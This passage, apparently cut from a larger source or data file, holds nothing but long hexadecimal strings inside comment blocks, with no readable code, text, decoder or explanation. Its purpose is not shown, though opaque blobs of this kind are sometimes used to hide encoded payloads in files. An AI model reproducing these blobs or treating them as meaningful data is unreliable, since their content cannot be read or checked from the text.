0e31668561919d1fad1484748773acd9d7337688ecc2796852bdf48b5ecf494a408607deb3992c3d3f1edc48ff629e13be3b1283af7b5d9effc2f55608f6c56929296d5f60030cb7ca55f39cd1723ad4ea1902d4392fba5b96015007abdb291cc9b3c47dd85195038048e66cd47328ccf7dbe1811eb0759c0e7e3707b40914f65cbc2fe54cbc87af6ac1474f71e55b38557c0d3819114b8029412031d2ba85e830bcae8d9006a9eb71d12e69ae6c2b1808a441547b87ea58aa5df03310cc0370784563ee9cb442b2077aece95131b025bb9bde91a49c3f07fad1be77c371ddc250cfa918e665cb5f4fddd82a679349c58149806319c571223fdc1b13e46cc87bd593e5fd250aaa824c51dd6f6897c2a7fb1e52f176d472d6663c7412681388f0c7cc9e3394d0a752f0b7a9d8e9327c7d5b3db6877c91938ceba50737cab46ad98f40d66cbbb904df62e2ee590a0b4e736ffc556176984f82c55abd871d69dc22f1001bfc20cc4f673bc4aa3da72fb2a204461ed87fadee780866dd2c4f72a929f343b82c435c8b170df8d4d42470f69d141e04788df*/
/*795e500a4e9c3f3eca3d5c6ea966939df8123fe8d8138491ed4c51d9246871e3ee9a7e69e5e2a99c9f7b3294de81e32dc823fd17e5c3862c64069b392f6ace7b1e95ac838befe46130fcea30be44b91bc1bc8bf9fec01f6dc0a48d72c20ed2b9c2b3ab273d8539d69c478a10e8e45e761e0b0269a03437799ce0525bfb2b97db2c1237405b560c496fa8499e4479ba8adc401268e85b34558376e6bbb281d6abea8388e7456282ad0ed2a1f04a9f1d8b7e31eb3990fd91385b348c9b6963abe08a958001c668156163eff5d7b6b9c0b69c83def80ff1191b7bf993b6623b785f463765d5c5ef70738e45a3e6fd1755de2ebdf2897f8b76e761692e6159f55275c50a8e439d3b673ec409aebf820b301e7c251dd8cadf8c20bc3aaab4ba87b2163a9258970e913520fbcfceba28769aaec5982e95cf41a6ff9ae9e21112b6c736953ab28e1a9413a8d80027f0508b22685fd5b4c20169006510dec43dec5a5dd17da6da6a37a88916763aee0236046fad5ce7ab1a901efd8d1739d455291d97a7501130f7f23080ae0faf9ba8fca4f5e95e05ed917844264ac3a0553049c2942ce266e843700e45460238376bafd72e6486c7a1419c2b01f44f1f0ca554ac838fae51336150a08c13388a083d4c62eee7014554986641f13dd932ad3df4340a918ee26f9e2372fc94ed964cac5ee9afdc0c12bfaa691b49193914228872edf378ade11ebccba635a5d1d4ab18e534bb1fc4b40038bdb28c357e4b0e452d0c70889f75a50b9b3a42ba79192ed5592c7d4a6489cc112b1fcf0d0ad7a592af44a88198d7284699fc513d4ca578cf4cb331b12834cd3c8827b46a5f69a377f9978d022a3b39bb2f24fe88d8b6f5dc7127d501462f3eaa432e307fc92011ced4f5085eb4af62ef209b2af6faf02b5ee442215b1bac9ddfa5135d51a6c60a739d5e583871359ebc1b0dde3bdb2036a5ab9573da0e027fff5b2b5229e153c171533f5c2a418070ad3cbc6707e31767bf37c69d3f354b43a06e625f3c385b0a67c8b82c2dbde2651e1e38c610c00edc9c69411e644811e2cb7eea8c847d0e75f13ce7cb9e84e4c1db7dfe916284a7580def9490ff959c26df6f75d09d2b480a77e714bc6320bc79c0a7779f1c68396fa591884729c658038bf6f1b2070ad735b95d6fbd0a0af7446f85a033228a470b723c29b726c2384bf50dd8c151f65c1cdd5f0458f345bc0259b44e6422cbad66c26a85a11e217fcc90f1a475af712df17906f490cec0e5f211adec67097d1436ec34c920350244497c89e48078acb05804b6e508899090163333328a8341c9888cb8aba817045f16d59611be88240ef027da9e157a4b82ec2f5da63b63529b3ed3cd925de48bc0256179f3f03e9aaa5fcc9d5cd0e062e691b87881bddf4c310a6618acae7e1b9d4ed2d92e274bcaa96fef527a521130f6bb021e10fae490585e80ee21ef122926352a9c44d7e25b00f4e6eb1b19ebb09ef0bf2251779d79e2fe05cbfe2619feecd927e326955ac8222d650b9e849e62d7bff02dec43f7f921dd724ef3c179c2a303f7a6254917fa30c11c9232c1fc41e60682969f74dfd456e7ff009c11dec88ea4839c944b583a627adddfcbe48345b6eba05c7b504c5f3914bc6b7dfa3f21b91477252bbd86098264ae37d373c591aaa69aa53a91bfd2f0f97b71e9c25d01df2e96429c73f7d90d6e570a02ba75448a82074969792a70ecabdeba7eedf729b268d98df6dfd89eb77278255f48c7582b7e595af2b1fc84e034675b3e820e9b776775a8b8e133cd31a8aaf3bd29a25433573814cde9d2cab9384865adfb10b74a549f6b3253759d71c49c66c21f467f8d295b809a29f19e5d34d77f55cf7a02afe59599093165af087a96295eaa459a544fdb71cc6a92fb29f0e578bc0cd506c18d32f312604bc56f751da4673cd0d3afc358aa5e3766a9cf2840c65d36fa0568afcac6bc7b1a6d7ef6721550ea908272abab1156271d59688266db2374abbb14f23499433af2c190c78f288f5c1eb143ab9d63fc23d5132ab531344ec148e66caa1a0c15f8f5d0e53a4e6dd84dd2f63bb9abc5ea2cb4b1b075be221a9f1e4dc93d4f7d49363b9b04a7c49e2d1ce052ca9472cb4f2e21f1a2d09f944410b696604bca18f979d3e475926412c600d73245c03db73c73079fe4651a798b072d88f336892ec84df6faf3a6b95e42ce5fa1ae615e14e34bf6ec61b29ec5fba9d2611614492252c89800c20d9a830a18ef033cb2c4014e6f1e2a2a0d63a53b6b05676060ad6033d486c377a1df355a89fffe98bf06fc033772c8427af7011873227150842b93bd42d5a11a5caf8c93901d168c646d677d82b8db013860c5fabcd1d7a071fc9e3af44d7bf1b7b41142c11d5d5410bd6af671e36c0ead5acf454570c30622967e0f704281d99bf731227b546d01187c4d935288fe98a924f824c74415354de94c36c40b7451e24c84b5bebea0263068f09890c78e2a15d9121cdf694b0b3bfa719b96d1a9220d279cfb92f45faaceed4c30ff71ed1de552841df781fd135b1927f5fd612fa0c0fb0265d74ac84946f62c58005056f99ae600b7eeb6df8215761eadefebd7377a0e65e05ee1d6cd29e96d3a4f510ff5c713f3be7fe88991312101df849640f3eeb86a01f5e4767f99da5b2604939208c71c8009148e320e2419efbfba0070283c2f781712ab2b74fdacab4b3f3308addc8a93707a72137629e68d9179510585967d740804a30e6cc22e64ed9067ff2c5375a740d34cf6d2c46297a7065afbbf8b08986a260b8968d38f1c9a3e38a008d8ebc834866a*/
/*77fa5255cf38b3f79278a7056a617ae0245104fcf773a906bc798e2900c4e6909c327a8a8f4ea273b1e81847e387826da3be86e75f4455b470f3299a3fa224a627f85d6d71db5f15ebea4236d073ef8e5bc8dfddb8a76b35d163b8aa3744136a4de173da6d8ee8e0247290723e8abd2f6863109509f16be243cb37e015bbe404ad65be2b9fc13348a7a730f155f6e1f23d81322bd227591f04b606e4d9b6d58077b021ac77f3310591dbb653d1e48f233ad38bff278f33b9b6ebe0a3ee9191ec27aa33e9be8cada44d4d0d3e1df9c2d45a75cbb631c14179b89cf54cc45ecfdca715454f66576c896d052f8195ced2587c5b37d179f6b292c7f4581c07735410de2d466bd084b7e8a2f9fa29c389dd5c4763d10d8f4fe88738ad5130eb33efa6e7484da738906c9d3496a6e37ffb2988061f83397c1d2bfd88a283783b6d59a77b1f1397245d56605d96a7e0a00d72993d0f2af97efe9221b5fa5389d087ea927bec93e92fefa01f08a7c8ff7d886347abb4cceb8e4a7d0f4588f4f09f9eaf0ccf8d56cc14f512893530b1c7cab2a7f99b75668a0a61beb63c4389785e560235cd5faa627d4aeb4db777ea0676e4f56090fca1cde48ed1859edabe8e9b186649b6a155a7b72d0ab21009412a18154d7f1e720b25e405e333e27f22365af013b144b50d95273f6c05c16bf684642077ba1c2da09add1f445f6cf30025716c91060c240afa7216e0c423322dc26faf127c37146766a84b8df6de731d13fc60a04b590b5927d5f25fc748195edfc36aac46819f6bf35691178816fd941b5100c4edff4c9ee8eaba81dd13546b9db1eb9164fb436322df86f42b5bc1aae024ee976ebe4dfa128b72d4766154370997e8a2168c0e2ecc1d1cd021bd8160dc97a1e5e94903aac60413f5c0581e47f3ee09b3437ba432af6cf1587efd4d3d6785f4494623cb6075a4c7df0e439ee91380b89b315c224c4de4c602fa6623e2c21db1598333d21ece8f0d3b70e5a727ce2594eaed448e23a98ca025f85cf70afaec73012859764f14b197f8f03b566ccc0c37b9c74ca5163ac3c98882651ea3f4abe9a3240689d77494ff107436f3a7627d3e48951515558dd6751c50867507e253ed4ef3c2cd95f2d71347a4e513574d49ca97b88cee019b6fd1b8ecd4d2415a06729c01155d0e5bb4dbfd8e50983918227898162baca139b3cba02667dc978060a7336d756193eadf022dd4fdcc70d71383d5d02b262b11b3fa112b98bb15a0c87b4781a0f67127ba34f2805863f145e9138e179ef5c0304e15c4f7aa2e745def2b06a98386b7a6e3a8ffe4d0bdb8d7c8bc091a73db820f11066641c0f0af08d30c3702c0166176c8620c7335086aa480d28a04ada8054c32f0247d29c375d6c6f4f2927dd9b100783b00d517da27fc4b082cba6ef949ad08a91c4344269799da569de7911f4919d56ad3403397dcf407775206290fa7d75a72f772256d12cc689ca1d8cf4e5d0550b85b0e2e9077bb16346f262ddcd6b295e9c11e694de750d2b08c960d9e5ef50716c71d4edf08e89d2431dfcfc2adb0842d7dd97bdc29bcfd34a1c02052376c912f093b94c6183367d7c428fd9e0bc6a80b38b7987b66d829821b5643f038419d6c2d2d34dd8ff8450f58b3d10cf5482cca8a557ff3ffd22b7a6f18365a9bb8e353558230ef86cc00949c67308828e13a31f67d2946793f64c030d6b9d6f474b69d2281fc116895e3275c22552c44dd9b6ccb8100e55e223869404ffb3405d4d0ff5d53bc4a8fdfa09d1a992df603ccf73c810aafd0e67269c7419e9861195dab3fe488267ee4883555a8195e5f135521b856c80f03b4246caaf42871f7f4147c9a2836d86c65a18da6cb9f57b17ce18813b42a1f7efb5d81cd7a8b27edc8ce4617fa8f667e23df937f865dce5f33b657c2905d8edb422350ac26d7c59b5dde6cdfa471037e998af2c5c69ec247ffd132a9099641a93619f446b8d32a8eb53e0d4ad0f15c7740f177b289cc4da82178ec65d7071d799b3b60175da93c900dfe48d7142ece58dff3a21e6a717cdb115af24badd80fd8deb258bdb7a36128aa714c1f51da23590f8aebae60b5a1c611025ef96b107625b82e8bcfcc5c118ad1cd7c9d1ce7b2654ac21a4a66964522a98fc2d65fd737a0306c54311b7e6b692033f20bfd0af190b9f5f3322ea1ec393fda4107cba10042ebf78f6ae926431b5edd5439e25122f014c540627e711423676b6e6fec55f78aeb14382b0818adeafe2df186389bb4b6b5fa0200305c097713186a9da4f9daafa3d02ca7562b2b1fa4e9fd3121f33d5e47493c3e0d1a628d23d4f71c4c085ad078eddcac7ac52fcc1bd77c18090a4cc63e47423ae8334f52dedb042f7806a5e7061e8a21996f282ac35602fd22283797d7c5df92d9294459a279556feb213174d4d323aef7c729a22a65c41c51214f7ccd3db6c507fc97cc2775cabf074018612e1050693ddebbc342534c4655ceaf9cef1d480851eaa9c2c4c34829040eddd8ce2453e0a909a5234755412ee67b2e06e43efe10bd039a75806d1b1bfe406ee7f926bda7e1f8dc161604abb45188de7618183a580f24eae82abba81f0af1fd2c22cbe3b81cad68dcb85b93edaa1c4dc0a0c2d9d429954cdd515fa7e5f28b3531d24090d9faecbda84c1b088c70421e9bf6305e332026105bb35849368784f79f2674c4e8ff8de7cbcefb2f937f4253d8b5ee7d26a239824f8d21a4c43b06141e1365ec0523fe9daa378a631c0a785585c46a02320472778a48f62f729dafdd8c869ff8de5e9c2d94fe6dcd4e89739fab3aa053f52ccf*/
/*f632d02bdf5ad8bb052b61b5997ca693b8d3a146f2ea6905b62f6d5e27c5adeb65038b8f426e4ca68a40477c240b0d0d536c01ba9908b2e26db44764ac425d8c81ff6c52cca37d48e012f40f7b30e3b96a951143523ed41f83775ff04b33ed4f3ee904772c5e42d74c0b769e8842c2f3a206b8321619cfa70824eb7573c1611e4ae382e8b176ffabc2ae3d0bb4ff4730729cb5343eb07910b50912a23eb62901a21309b301c68fbd0f6b34e3d68c261c2b11471c49fbb1af4d4c0c24569f5d6afbb3b2fa4d99b7f30a700281c9cb7034d7de896b45a2cf87037af28b4bd0c9a275bf60b7cd53bab2080b0b348273bb625711ae2c3eeb37c45e1664e244b8df25df29f7bf3afacc7df624179d982f7c577ab1c30eae1a68f7023c4eed970c0d7d3809bdc645b2f25d613f7790a4f0761ecefe7a1231bcecd729a2b61332fca3c4c0738641ae96e9369d8d6d4a1c6c46e08756cc4e8e5a26dd400860a15b643363bbff296fae87de9ea4d217847a32d647553b8d7f0cf5020b8103c80207ec42d1e2edf5dc4a8d6081c7f500afc065f3e44f2afe9b423cc7361e113069a7bec8bb7cbef47e09282119e6c3ce7ce97d6c1ff454b08f9b58dfc2b160e97a660a67e61156ea199d4f09a9b16b8c9d3b13e65d4063cc4937543bab8a98eb04627c43b636158a42e1836721f159145e395103a385a5d32dfa1fc5ef213be64591e041752e908bb4c848574399bbd99247b84fe18e4144f767fd2fc9284a30392edd1c0f09c3e9e68f36d31672208a3d6cddfbcdc5d0691e4228068a7cbbbfcb0635a996912ce8f8443d258ee15d66e6ce2639961b23befc0b3ddab85239a46997996283c715b08965e3faac2f410116981859b56fb8c20e65291a3f7f9991d2ae17ee828d52fbd79e238b44a8ac87878b30638625b479249dcd445c46309e60e04e4f823d8a00e7de8a5133e9283da2cdaa37c51bf494b76a666f2396c9a6cdeebbe15d229bb8418fd24d33834a3fdea4b46fc533d4c52f9023fbd3bf887beaf35f314b6553b807bacc0c88037f3f758cc542d40aae3ed46a6f2164d91bc60c4eed0fdf11dc6ce74a3b2e1e1b90ffe055aeb1ad021fc68d2716ae5270f7906ef37d236cdf980d3e2ec6bd82acb0c954513395433f4b536d76363acea69bec2508a5b0e6a119651d188da54c376c0e046fdc64f0fb79fcbd019e833d8256815e18a03edabc1adb54b2fd8fb1658d12e172fab725ea36444163fffbc78e88baf742505aa3e38137805e01c19149c95da974a852e48542e1fdc9e0334ecce7b250eeff158fe699ea1840ad65dff6d8fbd0c68f959ab4096d1190858b36837c048401d689ee460bd67510b051406e528e077500e5023d36f9539c1dcc1fe6fab99cc8c71d3df9ae6c28f93e896cc938b69ec273c25efbfe5a3a18b9938225d3934ea3e3989385db3c18febe785ca0e1fbabf7ac728b46636adb596121601869f2355751a6741e91c012f05f5d0e76db960dac155f0f8152824fe97d8dca88b984c8db3ed7a214b065a078177e29fd214ce99769e275f06c18ff51034c8af42f5eb5b6580765ab2828171681a84ac0a8481b502fabd461353cc33c2ba4f1f31f92582d5cf4efc8f501c4515756970f869a0a03e07bf17a3d8a5abb2c0495c002cae7ec61dc51143b0568c0c8b810530dfe99e185d4fa87d934510d299aad32ac0e7f46a4db1988178f937c0df696d5181f28746e37be6588f34e5c1278989f179a08de697a32bc525eb1644a979805095312de2123dfb78a63e0295e32798ac25b80e09384fb84b551c4e413510ba8053d48c76e30f29351ac3299780c75120338656e818dc67767762ccda4e341b35307783ebb051657decf1028e0f50625af512b31ad665d4f344a1f3bf0a377cca5bb1818894af0ecf148f26646c221badc247edf423172ce58c404fb7ac414a9bf609aa29b04c04532f23133f8f370c6c20b894ab8f14bdd5c10725cadd5ebdaaa4eabd9ba8b0d2f53d9953ec57edea0281f161e51f63036a70b8bb1262dd5daaba3bba3d28416e84ad4398e63b5f900d876af9baf629f849e41f481a4ceb41c21bcfed09c5b071a923f1ed9b3adbc5626cfca701c35908c855e4f4cead93c1714c7c8b0c18f83bd10693c1c36f0b10e96fedc55adefb41f25f0f05b7af5f90fbc22526a729576648b21ff7bc0f41ac1f12312601bdeb69a556b9179c8a6e2e93d6eb06698b30f6c001cf55e16e5b79551d46239f5c656100d2a873c3efc8a9bdff61b1bc78fb55ee718b4c4a7f3bb708f055f7a5a1b517fdbaae5c4471ca5b9ff297a85f86a05ebd56b46038a5693aca384ccaddb2b46c3dd4883484a5d3aea8547f749812d37b026eb40125fb217269354c7836dd6f001dd6f1e57c319aa6d7bfb86cc21d49344c453d38d35eb89185f2d364ca349ca08d03a82dc64a190f356a4d4729f42b962ebc9be755123c12106b53d3a6e2cb14e82a1a0b0ac09c07c7ec9d69e4f778ffaf0f379a0b8b5cd70d61e6a25c26c1592944825c23ef6070f74d041398641e136810ff8aaa78a6f2bfd8ba91b0135d573f56f7dff711d8a012be7c52a464f7bdf99c6d00752e1aa672d630b42a7679e5314cdc3a8e7c0baa88e10cfa0378608297f2cf89e1be3985d300cd568393f6013098927e49f3f972d95441f4ded96c16bf58b59e905d239ece85645701a7afb9ac6d46ec743ce6fc323efea149aad1ce06664e4857a46f05b8a4268109f18812cd23c14628bef9779d7dcbe6e3405fd35236a191e620a3c1b4878fb5e5d80b14cdc56a10228d073e3b1ef0971273914*/
/*d541f1222a6bf65617db5fa56faf262cd3a94d4f5462c51d8e5f267e9d19ab8430d9244143d212080a57e4517353a6ad75637a300fe106ddc12977de784bfa805cfb89a4f65d741063801df1ac5faa7096e9e582c4851a02581031562c911aa604ceb2b7af7bcff7693b3f83d4bb5a9f4fe5ecd9c65786918eed98cd242930805675d1e4b915684d5cb413040fa2ea80ceeb57fc76041755ce38108fd8c11db9ff4064623dda7fa0d74e1ff7ad3135381e43396f58e1dd2935b2f732910b55fe10c846eafc36dda2abfd2075cfd88326fc48f1b47a605d29e427508812320605d7bd5ba89933c1341270af0204e1e409ed744f122854b23a9d7b41cadc2d6c8849e98a672018c7c86b964c2e156513a69560d9995e4dbdedec28e9f335c4a83b2e7fff8c0dae41cb712bd7cd0de697f8105f030882608971a1ef425132c380594ac4266e0f9453281f248b7efb6e6d5bad0146b2c81d027d4106f951813d1f40eee16f4550f375258f63c07fc3bb70c4d08ad2671d9cda882e06552c6febfdd7a25d0fc554be8b0874b5eb40b37f397a34eec65c7b50b3e881e988e0d8370caa92b3af9ae147d2dea2107806d41d0c4803abd0b96cd5b6e3c499167826ed5e4285da2d69a4229c690b392d4e6c6de29ef9ccbbb9a9e29d279afd5b3e30f302cf4c2efaea23d12d2412cb995003c06f9295ee13ec974f6b4fc8e88fdc4b6ad30de395410b7d82aca16d94653486a8b7b897b5270f5edefaa5056727f7a870a9a307cd3d30468da502d563f8d273a5af929640ec8efa97bfcaacc998a0755ed7fce0bd05ebf232d8793e88071b53fef7c892f85e7201ffbb06b51df6695b32ac974a6aa3f6fac391e6959213b67cd52ab3509ac1d3abea8a459762df2583d3f6f32ff2d39a6322ac990127ff1fa2ce6d07779bcaa5e06a8658fdb8244327077dc64ab8e78e452aff1ad6c01d5f644c603344ec4acc91be57bff4e801849ebd3c33f50518bb8a8446be88cb41fb36cf73036811c256b8b88d25d54ff779f95f96abd9ae2119e7665890c1359369cc446e1d980ec234422a0d6f833e0fd0f427130631168d01723c64b212062a5ee38eee7155bf973e35d84c54ea97995d9196a025d1ea7c74e9a7fcadd07ca096185f8b7cb2216bf464cb82fbf4d9078877acad6a01c2382363de7e1bd2acb23375d56256439d560a8bf8208f8d4316589e90cac0b35a519fd79e55895d8094f9f3e221160d5578f8f31eba504b2220eb2a529d0119baef5823988b4356106be92b0d3faac261c6f467a02acb66234792cdb2b3af7955af3147a4f77de31cdee369cca9e2006241e146c481932f58c3dd225375f768b391a63a91d95f212f49bf96d7bd06d63c85664be7e60b8d967d90c4bd0ddd88652ad6eaffb3b82c8fab636d9d662bcc5c81197de251e4fee4ffa7f54339b0875822fdbf69bc6d3b913baf314f03a5c915d824e8c81b54016264c16fa7e724eae77abb2272242ec5f957af6315ae7681a640c529263f6d47d7b9638e1511ccbfe5c6fe90660068eeef67b2407e04bbb1a2fe77dc6fb2658c49e48e94bff66edf2017f97a215bf89fbfd3fbfcd04e6d0d83761101f84ef032ca66fc96aac9525356fd5b01f30b7a89eacb8cf4a851b0861ff501d4384eab66309807f2e5026ee926bbabe7787e9241e76096e48f54656d08ad952c2ba68edc936572549d758796391fa7747443b89215697a7cb425d5e3cd3e91dba105e3a5a986d7dcb648efebc60411f3271c28087b7f436f1fb124c5658e773fe19b978915f6395904e0526942a63775910d9e48e3508e25b03ae3c8e61b237698d67b036f9df53e7e1ec60565f12fe1243db1e6defd78a3147b1f6dc2bfb51a99a0c642493beaecd5cb14d126eb2d5c7e21d693d754ed5550ce80ef96d0a274ef4e6c11c91cd3ff2da69b4754a225e394de5d2ffcfdf6ffdd78c70fce2f256dc531114225d74d7aa93340e28ee1deb17c3a203f31d1252b1bc544c4425c0528c9a9e9881bcec41bf8e15d01f7ff9c4485520aae779e6aae7a422e80715a236e1653a558b8ec8ed1402d9fa6c6a3901b693a903274a2909c9b744278f7e802f9eaca6cd117073b5ce2c257fe6055cc893cc925f33de7f5d364acfc80c675d687bc87450a14bcd0ba50939739ce1e321f370fb858e52b2a0b2e3f5a5f0908d319610ebd3ee301d051038b015d697d1fa03f836b73d99bc46e41b87b97e32c18e75dda971abfdb5a086b09d1815716f7a81cbc7165ed0cb3a7d5897d78e8e96e5a37b8f1a2f68967536f0dd15eecfa0f874a0b83ff38a740b0f9b327a29ea38ccaa36289762fd9e5d62cdf84e5fd0f7b194e15adc3aeda34e49a89c48b5cc9628b116e53d8494a492e87552081fb9c1e7d37fbc229918c049f1836eea6f78d6fbb5a1ee526398053bfd41fa9f35200196682a3af912c4d37431d4b39d5d21b7da09bfad40fe61c0dc5fa86319471ca839bd024cad73889475b78b86256fd68b91d2e6f4a7fccfb287f351da91d35e6702d645aadbc42bcc71c7c4db4e400f85ee9f550da7568c38fa0679ea32a0ead229ac12b6ec10c550925211498996a054671cc44612be5c660090d39147c532d0f1a98f4d94bd862e2ee4c2e64b2e905f5160049616ed2788bf3e55bdf1caa55c99185746879a49fd560a059c123d3e176a47656413448c559b4cdad3382be8c206716c5171245c30473181496415bef43ee5bb6d45476f95293f8a41da73d6e2d3ae2b887eb96812bdc46bd6d07f49158788c0b468fb284f35ccec07cbe94b6b5856878916f4b931f694e8c72*/
/*1a21afe664210db64ec07a91fd54a431ce164b70d0dabb2385f6a0d5bc3de2d9ed5147b5e9f84a4f4bd0c9eeba344bf199bc56e879a6330abb96be1c6e19d34219cdd0d04ff83630bd04621d77f0c6480eefdd9c41647d67b5b9316afcd4725f3a57bae3914fc66630c81af8337d1a116c70d2f1261204121e22ddd3cc0d32ef22108f04174947ef2b2c49d023dd587948fe67183bf5697750c62e8177d8a815c2c16441282b9cf388102efa2f84cc498e06db34bca8470340fa55f345b4cb22a7dd725d902475f2dac7733c84275bb4cbfded9b1d9d4e3469ba0d4fc6b43ae4abfbf21ca22b03ffb21795851a150977591d63d1ca47c78dc58135ab530f5838c04cb7b4abacc62098f8049c418fc09343e4fe9c20c3f7e7ed15b3a1ae4f97a80a7c18eb73e7db6cf2e514fa948eae6e53d99c1b735b86695ed8f8a6b86e297132a55cf1c9c7f5603d1267a10a8d1f5bbb7685f4b67d3ad7b0b17d63915dcf959a3e2f8852aab3724bf0282389982d4bb75a716a34d89227df563d6961f2dc65d043a142505f65d79028b411b8714868af4738d2ef1e9c7c9895fe60ee9bf9637256470b9c02cd78ec4cbbb9dbdba81449b6e67c263b1fcf176a2f9590667264fff674f936b95c9d70d0b699c48cbfd6e33655bc1589ba563b1aea9e908b53f80bfce79132cb30f858570adf803696ec2c6b453d2fdc5d9cfbe9d854fd55df8f98cbb6ac640195cc6347c1fab072bb93c9b13059daad10fd3141b7cb37cf051b1571ee95036f93aad430efa9dd621afc03aa3f110416f00a80d4cb160ea2e01e49333c0bb919eda6c6013f1134aab78d563f4a468f0faac72a7fa4abf685e8932ff471276657a93edb9ad4807cfcfbb08ba8bb2dadd129d70a0d0a0fadbc0329cbb77aa2fd611d7773d431f264c43474fde816b8a44daa1f6e54dbf6a84f9632718fd186a3d36eb6fcf50d05f212828355d52b01aa678acc5543f27205dfcd29538892e8938ad2a95fd80bea28eb164d53a7e2b91378b3f1b685e85e8ed3bfc09a6c2114f3253c932f7a023144bbc4baa82381be65285d8c25d745680f6d624b67c33b652be22ae8dd7119e96c7891f07d0ccc4eb033e37d7d5bd3783ecf08bfafd7fa62a67d7ec20b53a1b0c84a8f5bec4a5290f4a4de38104ad75abbcab02047ad1158c9c9d9a51194fb45886b1193a34818cb7f8e790d45ef532bd72f4cc348af344dea3279db6854f3b811fa3237d0928abdb69515d5bf25bd7f153781233ad340c45216f099b804b856f5deb83b56176c19c7963289b91eb88563b5b7226bd7ccc57e6dcd006efd77d391aba6d8fa54086a0f94afe3c58597fd8dc3b5657c227013257a9d6beb70250c1ab7dca859aec78747bb7d1770ead308b9f0a56cf48f58dbe4a8a9535ff1aafcb71a8d5605380f8bfeed693e66dce1b62ab16dd7e37c2b429679b720b01e98f4799a7a697d292394a9441ca7155cdabc5cc03b3b4a6c2e71934ecae478cf785982cd9e147de9af7e03857ca6b301cce95f3658447b7d2c2ea136ca47654b108b46282282ea4c9af802ea3c3df3822f2f6f20c6e4ea6e7720547c844e5662fb78387a026d1b86e55f36411624b860f3aa60195beb3729aca2d450b50690a8188b3307c993401e4e0dd1425f7ea318d8f5e321e305ec55e9faa124594f67d941091766e09a587c507bc41b25c2cb0a9a687620507bcbb14ea847ef3410ed8e86e0e377579922b4eea0e95c22d163cebfd59cd741827076c96596ceb5c01ea0830967b9fd67ba702e0445b29a7a59326e63872c6ea61cafe20800f608f0c4d807731e384a0c5615d73ede6e73b2f9e2d6b3844db24270739fa6804cac47b15cd1180258fdfb6f66d5c5d2b645641f4531d087c80a17d023a4d274a7a86eff7b273b0dab95d29fb4304008aac92bd90fd4fa1ab5910db7de92929d62a1c7c2c1c56e318679d950f423aa5c478205a63f03223ead61b9ce723f283ccee85c2e5378865557d6123752fd260286abecc7580dffc64a9f37ffaa2f9514a39e621a588af65063823ff8417ec93ae196b8a89c8d54a4236a1283859671f3ecd158f8ac1acf57f3774ae8d53ce1df33db7a55d19eefa5a925efbb17422c13ff2fe51aca50cde73f01755f7d78894479ddc75bf6c3bbfd6b8ea31ae304bc2cf37364dd66d2402fcdca1e9173438ba29743ad38359a4c96db0e4430ca0865ae85e391f616724e9c8a5d8c0475b7b8766072d35b168be9f43acd02c5456bad74b27e9094cddddb5a77c57e90c5c26860d0f5348a0899dbc554eea45e972462ebfe2b014746b33f18d592a86f960c061d5373b953d8bfcb27e87050b6b3ace6aa721575c2d3e30b89d5f884eeb55b01f680ad94915f7136a87b83d91bf626afbdca64534e021587d6707b944609e1b91e2c640112ddb5c9924ef0d902b688049fc96f11aa869bbf61cdea4c089be552f4ea5676d0ee4fb90d138ba053851dd94ac290a536d4faeac870d5cd8ace71e999d940a65506df8c4505d6a4661a03e52ed24628b07130f9876a6c3ec7b6958193887a2fa50a5a877ac8391cb501ec8e86910ae72df388cf2318391f40cd1360bee09bc346ce425398bf52097420b7e94b4926e49f59eba7c21183b8362a00027ca30a2723e62635c44cf7be03c645926810b376e58b2493e13025e53645286e6773453a063413d234a361d89f88a034cf817e36f3085b01b2df2107098db4817fce36751b6772e18ab09e5a8672033b79ef5730a10f3f44ae86cc75f8f63e6396b5cc9cd8b34a138b2e2f07b43e4f58d6ee0d18c8b203f57262a0ac*/
/*633ce8bbe29729429784dc56d0ab41f9563d29b42787ca6f98b51c2543b23a4b35562255ceb5edb2a1a26e3e7d0170c6e933e33f1538f0caa5a4d66f54242883fe727e52b524f55506c6c91c6325d066c6bb9c32ea68cd46869cc18596be33001d44438e6c69be88132acbc5503cb9cfac1c9a2bab80a0bece8fdf4ed690fb55a3c136d83d6024a67b1b4ca7b9fbeaaa09e47911dad25e49df8cfacc463ceff419d3d8eae48b48a331f86acf56bcd3ceb5a9b93af937526e837bbbdb9993922483da9b6437f80ad129846bc1b39a05c8cc85bc6ea5d830c21da3264caf102cb3d8364060f1f063681d1386f6264c8a979d47dcc3d61a791768cdac70b39b5caa7f1bad990d0a1a77e24fc665c060e28422f33d3306924a1e5e0a127e9791e314b1f699a5fdd54f000c81042278d64617f4f4fbd7a0ac7a44d68bcc75c560b314f28cd419033c3ab6843c4b8089d9991400b039ebc3e0d4501647ac83c76c6f0c51d17c43170e897531c1bc3f1f98b2cbae34e14bf1afd4c773931044bd7127bb588301e292a45a32928abcc97114024b6c2c048d3b5b2f7f231f2a7a7b731fa1e5b7108ef71a32ad9542c1c7a78358f1f4756d2531afb6626a27b6a0493fd92bd71d428ef530eec6fb14c3df6a3fffbd6b121d28467deff0821ce06aec77e70ccfaa83399fa5e28f6eb7ada04ccb4418433ed1bf29752679b6e29e9bbe982d9ff17d11e01658923b5a2f8a54133cdf3ef389a6d5cd931c7591e079ab0948cc08a657fd8c05ebc46da1fc813ef8fcf1ce2a23dcd6b289ed055d4b7a60698e5280cb38dbd8aa889991e376498f425956148d3a58d216924db9532739b0f400c71ebc7385bf622209de858c8e1432daa858f97f87b16775886f544af29cb5a43e1e4d2c4abf964f86e3d7c212e9dadfe446c23008f332bc422ca2db5857502d5ea02d602e9b117dc684ffcd168d103e168e2aa60542624107b725264abe3b6968b9cca3cac1479854b336161950376c5646b68d3cc295f5f6d133fa18e9d52e422b6c3604c27eee2ed211c6d74100e1dd436d5b8a239165484d7a1fb4453db9ab83350ad66ba8ed352fa12b6629f38b6043bca750082a07cd9ab121c09bf5fa16beae863e99387b7e71ded6a830949e4bbc244f040d63096c6098ddffd53c12aa94d03341c0a18d6b1bb35315c2119ec6d078649035cf5739b7e00f38bfd7cbbbc2e668ef0f8b345bb474ea2d380fd50eb0deed8c8300a46b9ffcfd169ceba277e32c357ec509fe057675709795582eb5e2dd2600b41e7a2f77a991f03e45be65d4024268bde29b2ef7e6c60653236eac447cb2585660545533490a7bc84d023c4745f16bffd68d2a9bf63ec60785f172caef858fdbb5b25f2a29a1ee88a4bbb1730a1bc2b4d699366fa40dc4a13c992c5522720636da674c96c84618f34e2b4a0e1493111b48cdd74fcf329bf8aea397ba94aa6aa076400299c3e900342f79a0eafa2eaea3d702ff3c32d58e8f8548bea8a34f7e60b185574ec45fd16c00aaba8620075db6f9bc034fcc092ca54dcc02592894658714283cfe3d7754044fa640a1537979822ce524a093108350d4a883a183cf575cbd98a0875d7687061529855785f